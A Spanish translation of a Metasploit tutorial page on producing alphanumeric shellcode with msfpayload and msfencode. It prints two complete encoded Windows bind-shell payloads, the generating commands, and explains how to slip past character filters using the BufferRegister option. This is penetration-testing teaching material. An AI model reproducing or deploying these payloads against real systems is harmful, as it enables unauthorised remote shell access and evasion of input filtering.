Shellcode Alfanumerico
De www.metasploit-es.com.ar
Shellcode Alfanumerico
Hay casos en los que necesitas obtener un puro shellcode alfanumerico a causa del filtrado de caracteres en la aplicacion explotada. MSF puede generar shellcode alfanumerico de forma sencilla a traves de msfencode. Por ejemplo, para generar un shellcode codificado con una mezcla alfanumerica de mayusculas y minusculas, podemos utilizar el siguiente comando:
root@bt:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 659 (iteration=1) unsigned char buf[] = "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59" "\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x52\x50\x30\x4c" "\x4b\x51\x42\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x44\x32" "\x51\x38\x44\x4f\x4e\x57\x50\x4a\x47\x56\x46\x51\x4b\x4f\x50" "\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x45\x52\x46\x4c" "\x47\x50\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x4b\x52\x4a" "\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x42\x30\x4c\x4b\x47\x32" "\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x44\x38\x4d\x55\x49" "\x50\x44\x34\x50\x4a\x45\x51\x48\x50\x50\x50\x4c\x4b\x50\x48" "\x44\x58\x4c\x4b\x51\x48\x51\x30\x43\x31\x4e\x33\x4b\x53\x47" "\x4c\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4e\x36\x50\x31" "\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x45" "\x51\x49\x57\x50\x38\x4d\x30\x42\x55\x4c\x34\x45\x53\x43\x4d" "\x4c\x38\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x51\x48\x4c" "\x4b\x51\x48\x47\x54\x45\x51\x49\x43\x42\x46\x4c\x4b\x44\x4c" "\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x43\x31\x48\x53\x4c\x4b\x43" "\x34\x4c\x4b\x43\x31\x48\x50\x4c\x49\x50\x44\x51\x34\x51\x34" "\x51\x4b\x51\x4b\x45\x31\x46\x39\x51\x4a\x50\x51\x4b\x4f\x4b" "\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4b\x36" "\x51\x4d\x43\x58\x50\x33\x50\x32\x43\x30\x43\x30\x42\x48\x43" "\x47\x43\x43\x50\x32\x51\x4f\x50\x54\x43\x58\x50\x4c\x43\x47" "\x51\x36\x43\x37\x4b\x4f\x4e\x35\x4e\x58\x4a\x30\x43\x31\x45" "\x50\x45\x50\x51\x39\x49\x54\x50\x54\x46\x30\x43\x58\x46\x49" "\x4b\x30\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x50" "\x50\x46\x30\x51\x50\x46\x30\x51\x50\x46\x30\x43\x58\x4a\x4a" "\x44\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47\x50\x31\x49" "\x4b\x51\x43\x45\x38\x43\x32\x45\x50\x44\x51\x51\x4c\x4d\x59" "\x4d\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x42\x48\x48\x42\x49" "\x4b\x46\x57\x43\x57\x4b\x4f\x48\x55\x51\x43\x50\x57\x45\x38" "\x48\x37\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46" "\x33\x50\x57\x45\x38\x43\x44\x4a\x4c\x47\x4b\x4b\x51\x4b\x4f" "\x49\x45\x51\x47\x4c\x57\x43\x58\x44\x35\x42\x4e\x50\x4d\x43" "\x51\x4b\x4f\x4e\x35\x42\x4a\x43\x30\x42\x4a\x45\x54\x50\x56" "\x51\x47\x43\x58\x45\x52\x48\x59\x49\x58\x51\x4f\x4b\x4f\x4e" "\x35\x4c\x4b\x47\x46\x42\x4a\x51\x50\x43\x58\x45\x50\x42\x30" "\x43\x30\x45\x50\x46\x36\x43\x5a\x45\x50\x45\x38\x46\x38\x49" "\x34\x46\x33\x4a\x45\x4b\x4f\x49\x45\x4d\x43\x46\x33\x42\x4a" "\x45\x50\x50\x56\x50\x53\x50\x57\x45\x38\x44\x42\x49\x49\x49" "\x58\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x47\x59\x49\x56" "\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x49\x53\x44\x4a\x41\x41";
Si miras mas atentamente al shellcode generado, veras que hay algunos caracteres no alfanumericos:
>>> print shellcode ???t$?^VYIIIIIIIIICCCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMKXKIKOKOKOE0LKBLQ4Q4LKQUGLLKCLC5CHEQJOLKPOB8LKQOGPC1 JKPILKGDLKC1JNP1IPLYNLK4IPD4EWIQHJDMC1IRJKKDGKPTQ4GXCEKULKQOFDC1JKE6LKDLPKLKQOELEQJKDCFLLKMYBLFDELE1HCP1IKE4LKG3P0LKG0D LLKBPELNMLKG0C8QNBHLNPNDNJLF0KOHVBFPSCVE8P3GBBHD7BSGBQOF4KOHPE8HKJMKLGKPPKON6QOK9M5CVMQJMEXC2QEBJERKOHPCXIIEYKENMQGKON6 QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1J5BHNDDZD0IWF7KOIFCZDPPQQEKON0E8NDNMFNJIPWKOHVQCF5KON0BHJEG9LFQYF7KOIFF0PTF4QEKOH PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6E8BCBMK9M5BJF0PYQ9HLMYKWBJG4MYM2FQIPL3NJKNQRFMKNPBFLJ3LMCJGHNKNKNKBHCBKNNSDVKOCEQTKOHV QKQGPRF1PQF1CZEQPQPQPUF1KOHPE8NMN9DEHNF3KOIFCZKOKOFWKOHPLKQGKLLCITE4KOHVF2KOHPCXJPMZDDQOF3KOHVKOHPDJAA
Esto es debido a que los opcodes ("\x89\xe2\xdb\xdb\xd9\x72") al principio del payload son necesarios para encontrar la localizacion absoluta del payload en memoria y obtener un shellcode totalmente independiente de la posicion:
Una vez que hemos obtenido nuestro shellcode a traves de las dos primeras instrucciones, es empujado hasta la pila y guardado en el registro ECX, el cual sera utilizado para calcular offsets relativos.
Sin embargo, si somos capaces de alguna manera de obtener la posicion absoluta del shellcode por nosotros mismos, y guardamos la direccion en un registro antes de ejecutar el shellcode, podemos utilizar la opcion especial BufferRegister=REG32 mientras codificamos nuestro payload:
root@bt:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode BufferRegister=ECX -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 651 (iteration=1) unsigned char buf[] = "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50" "\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x43\x30\x43" "\x30\x45\x50\x45\x30\x4c\x49\x4b\x55\x50\x31\x48\x52\x43\x54" "\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x50" "\x52\x45\x44\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50\x4a" "\x46\x46\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43" "\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d" "\x43\x31\x49\x57\x4b\x52\x4a\x50\x51\x42\x51\x47\x4c\x4b\x51" "\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b" "\x51\x50\x42\x58\x4b\x35\x49\x50\x43\x44\x50\x4a\x43\x31\x48" "\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50" "\x43\x31\x49\x43\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34\x4c" "\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c" "\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x47\x48\x4b\x50\x43" "\x45\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44" "\x42\x55\x4a\x42\x46\x38\x4c\x4b\x50\x58\x47\x54\x45\x51\x49" "\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c" "\x45\x51\x4e\x33\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4b" "\x39\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x51\x49" "\x51\x4a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c" "\x4b\x45\x42\x4a\x4b\x4b\x36\x51\x4d\x45\x38\x47\x43\x47\x42" "\x45\x50\x43\x30\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f\x50" "\x54\x43\x58\x50\x4c\x44\x37\x46\x46\x45\x57\x4b\x4f\x4e\x35" "\x48\x38\x4c\x50\x43\x31\x45\x50\x45\x50\x51\x39\x48\x44\x50" "\x54\x46\x30\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f" "\x49\x45\x50\x50\x50\x50\x50\x50\x46\x30\x51\x50\x50\x50\x47" "\x30\x46\x30\x43\x58\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f" "\x4e\x35\x4a\x37\x50\x31\x49\x4b\x50\x53\x45\x38\x43\x32\x43" "\x30\x44\x51\x51\x4c\x4d\x59\x4b\x56\x42\x4a\x42\x30\x51\x46" "\x50\x57\x43\x58\x48\x42\x49\x4b\x50\x37\x43\x57\x4b\x4f\x49" "\x45\x50\x53\x50\x57\x45\x38\x4e\x57\x4d\x39\x47\x48\x4b\x4f" "\x4b\x4f\x48\x55\x51\x43\x46\x33\x46\x37\x45\x38\x42\x54\x4a" "\x4c\x47\x4b\x4b\x51\x4b\x4f\x4e\x35\x50\x57\x4c\x57\x42\x48" "\x42\x55\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49\x45\x42\x4a\x43" "\x30\x42\x4a\x45\x54\x50\x56\x50\x57\x43\x58\x44\x42\x4e\x39" "\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x4c\x4b\x46\x56\x42\x4a\x47" "\x30\x42\x48\x45\x50\x44\x50\x43\x30\x43\x30\x50\x56\x43\x5a" "\x43\x30\x43\x58\x46\x38\x4e\x44\x50\x53\x4d\x35\x4b\x4f\x48" "\x55\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x51\x47" "\x42\x48\x43\x32\x4e\x39\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x43" "\x31\x48\x43\x51\x39\x49\x56\x4c\x45\x4a\x56\x43\x45\x4a\x4c" "\x49\x53\x45\x5a\x41\x41";
Esta vez hemos obtenido un shellcode alfanumerico puro:
>>> print shellcode IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLBJJKPMM8KIKOKOKOE0LKBLFDFDLKPEGLLKCLC5D8C1JOLKPOEHLKQOGPEQJKPILKGD LKEQJNFQIPMINLLDIPCDC7IQHJDMC1HBJKJTGKF4GTFHBUJELKQOGTC1JKCVLKDLPKLKQOELEQJKESFLLKLIBLFDELE1HCP1IKE4LKG3FPLKG0DLLKBPELN MLKG0DHQNE8LNPNDNJLPPKOHVE6QCE6CXP3FRE8CGCCP2QOPTKON0CXHKJMKLGKF0KOHVQOMYM5E6K1JMEXC2PUBJDBKON0CXN9C9KENMPWKON6QCF3F3F3 PSG3PSPCQCKOHPBFE8DQQLBFPSMYKQMECXNDDZBPIWQGKOHVBJB0PQPUKOHPBHNDNMFNKYPWKON6QCF5KOHPCXKUG9K6QYQGKOHVF0QDF4QEKON0MCCXKWD 9HFBYQGKOIFQEKON0BFCZBDE6CXCSBMMYJECZF0F9FIHLK9KWCZQTK9JBFQIPKCNJKNQRFMKNG2FLMCLMBZFXNKNKNKCXCBKNNSB6KOD5QTKON6QKF7QBF1 PQF1BJC1F1F1PUPQKON0CXNMIIDEHNQCKOHVBJKOKOGGKOHPLKF7KLLCITBDKON6QBKOHPE8L0MZETQOQCKOHVKOHPEZAA
En este caso, le hemos dicho a msfencode que hemos tenido el cuidado de encontrar la direccion absoluta del shellcode y que la hemos guardado en el registro ECX:
[Falta imagen en el curso original]
Como puedes ver en la imagen previa, ECX ha sido definido previamente para que apunte al principio de nuestro shellcode. En este punto, nuestro payload comienza directamente realineando ECX para comenzar la secuencia de decodificacion del shellcode.
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999
